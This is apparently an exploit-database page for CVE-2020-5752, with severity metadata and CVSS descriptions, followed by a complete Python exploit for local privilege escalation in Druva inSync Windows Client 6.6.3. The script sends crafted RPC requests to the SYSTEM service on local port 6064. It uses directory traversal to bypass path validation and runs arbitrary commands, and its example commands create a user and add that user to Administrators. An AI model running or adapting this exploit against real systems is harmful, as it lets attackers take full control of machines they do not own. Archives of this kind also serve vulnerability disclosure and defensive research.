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Druva inSync Windows Client 6.6.3 Local Privilege Escalation

CVE	Category	Price	Severity
CVE-2020-5752	CWE-Other	Not specified	High

Author	Risk	Exploitation Type	Date
Unknown	High	Local	2020-05-24

CVSS	EPSS	EPSSP
CVSS:4.0/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H	0.02192	0.50148

CVSS vector description

Metric	Value	Metric Description	Value Description
Attack vector	Local	AV	The vulnerable system is not bound to the network stack and the attacker’s path is via read/write/execute capabilities. Either: the attacker exploits the vulnerability by accessing the target system locally (e.g., keyboard, console), or through terminal emulation (e.g., SSH); or the attacker relies on User Interaction by another person to perform actions required to exploit the vulnerability (e.g., using social engineering techniques to trick a legitimate user into opening a malicious document).
Attack Complexity	High	AC	The successful attack depends on the evasion or circumvention of security-enhancing techniques in place that would otherwise hinder the attack. These include: Evasion of exploit mitigation techniques. The attacker must have additional methods available to bypass security measures in place. For example, circumvention of address space randomization (ASLR) or data execution prevention must be performed for the attack to be successful. Obtaining target-specific secrets. The attacker must gather some target-specific secret before the attack can be successful. A secret is any piece of information that cannot be obtained through any amount of reconnaissance. To obtain the secret the attacker must perform additional attacks or break otherwise secure measures (e.g. knowledge of a secret key may be needed to break a crypto channel). This operation must be performed for each attacked target.
Privileges Required	None	PR	The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
Scope	Unchanged	S	An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality	High	C	There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity	High	I	There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability	High	A	There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2020050192

Below is a copy:

Druva inSync Windows Client 6.6.3 Local Privilege Escalation

# Exploit Title: Druva inSync Windows Client 6.6.3 - Local Privilege Escalation
# Date: 2020-05-21
# Exploit Author: Matteo Malvica
# Credits: Chris Lyne for previous version's exploit 
# Vendor Homepage: druva.com
# Software Link: https://downloads.druva.com/downloads/inSync/Windows/6.6.3/inSync6.6.3r102156.msi
# Version: 6.6.3
# Tested on: Windows 10 1909-18363.778
# CVE: CVE-2020-5752
# Command injection in inSyncCPHwnet64 RPC service
# Runs as nt authority\system. so we have a local privilege escalation
# The path validation has been only implemented through a 'strncmp' function which can be bypassed by
# appending a directory traversal escape sequence at the end of the valid path.
# Writeup: https://www.matteomalvica.com/blog/2020/05/21/lpe-path-traversal/ 

# Example usage:
#python insync.py "windows\system32\cmd.exe /C net user Leon /add"
#python insync.py "windows\system32\cmd.exe /C net localgroup Administrators Leon /add"

import socket
import struct
import sys

if len(sys.argv) < 2:
    print "Usage: " + __file__ + " <quoted command to execute>"
    print "E.g. " + __file__ + " \"net user /add tenable\""
    sys.exit(0)

ip = '127.0.0.1'
port = 6064
command_line = 'C:\\ProgramData\\Druva\\inSync4\\..\\..\\..\\..\\..\\..\\..\\..\\' + sys.argv[1] 

def make_wide(str):
    new_str = ''
    for c in str:
        new_str += c
        new_str += '\x00'
    return new_str

hello = "inSync PHC RPCW[v0002]"

func_num = "\x05\x00\x00\x00"                                   # 05 is to run a command, passed as an agrument to CreateProcessW
command_line = make_wide(command_line)                          # converts ascii to UTF-8
command_length = struct.pack('<i', len(command_line))           # packed as little-endian integer
requests = [ hello, func_num, command_length, command_line ]    # sends each request separately

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((ip, port))

i = 1
for req in requests:
    print 'Sending request' + str(i)
    sock.send(req)
    i += 1

sock.close()

print "Done."

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